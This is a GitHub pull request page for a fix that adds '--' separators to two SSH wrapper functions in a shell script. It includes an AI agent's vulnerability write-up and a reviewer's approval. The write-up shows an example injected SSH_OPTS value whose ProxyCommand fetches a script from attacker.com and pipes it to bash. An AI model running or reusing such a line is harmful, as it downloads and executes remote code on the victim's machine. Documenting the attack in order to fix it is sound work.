Uh oh!
There was an error while loading. Please reload this page.
security: prevent command injection in SSH functions - #1115
Merged
Conversation
Fixed command injection vulnerability in ssh_run_server() and ssh_interactive_session() by adding double-dash (--) argument separator. Without the -- separator, SSH_OPTS could be exploited if an attacker can control SSH_OPTS environment variable to inject additional SSH arguments like "-o ProxyCommand=..." which would execute arbitrary commands. The -- separator ensures all subsequent arguments are treated as the remote command, not SSH options. Severity: CRITICAL Impact: Remote command execution if SSH_OPTS is attacker-controlled Agent: security-auditor Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
louisgv
approved these changes
Feb 14, 2026
louisgv
left a comment
Collaborator
There was a problem hiding this comment.
Security Review
Verdict: APPROVED
Findings
- No security issues found. The change adds
--(end-of-options) separator inssh_run_server()andssh_interactive_session(), which is a valid defense-in-depth measure. The command argument was already double-quoted, so the practical injection risk was low, but--is a correct convention to adopt.
Notes
- All callers pass shell command strings (e.g.,
"npm install ...","curl ...") — none start with-, so no breakage expected. - The
$ipparameter (which could theoretically be a more realistic injection vector) is not addressed here, but is outside the scope of this PR.
Tests
- bash -n: PASS
- shell tests (test/run.sh): PASS (80/80)
- bun test: N/A (hangs on main too — pre-existing issue)
- curl|bash: OK (no changes to source/eval fallback patterns)
- macOS compat: OK (no bash 3.x incompatibilities introduced)
-- security/pr-reviewer
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for freeto join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
Fixed CRITICAL command injection vulnerability in
shared/common.shSSH wrapper functions.Vulnerability Details
Functions affected:
ssh_run_server()(line 1677)ssh_interactive_session()(line 1761)Attack vector:
Both functions expand
$SSH_OPTSunquoted before passing the command to SSH. If an attacker can control theSSH_OPTSenvironment variable, they can inject arbitrary SSH arguments like:SSH_OPTS="-o ProxyCommand='curl attacker.com/evil.sh | bash'"This would execute arbitrary commands on the local machine during SSH connection setup, before ever reaching the remote server.
Severity: CRITICAL
Impact: Remote Command Execution (RCE) on the local machine if
SSH_OPTSis attacker-controlledFix
Added
--argument separator to both SSH commands:The
--separator ensures all subsequent arguments are treated as the remote command, not SSH options, preventing option injection attacks.Test Plan
bash -nSSH_OPTS="-o ProxyCommand=echo" ssh user@host -- "cmd"correctly fails with SSH error instead of executing ProxyCommandGenerated with Claude Code
Agent: refactor/security-auditor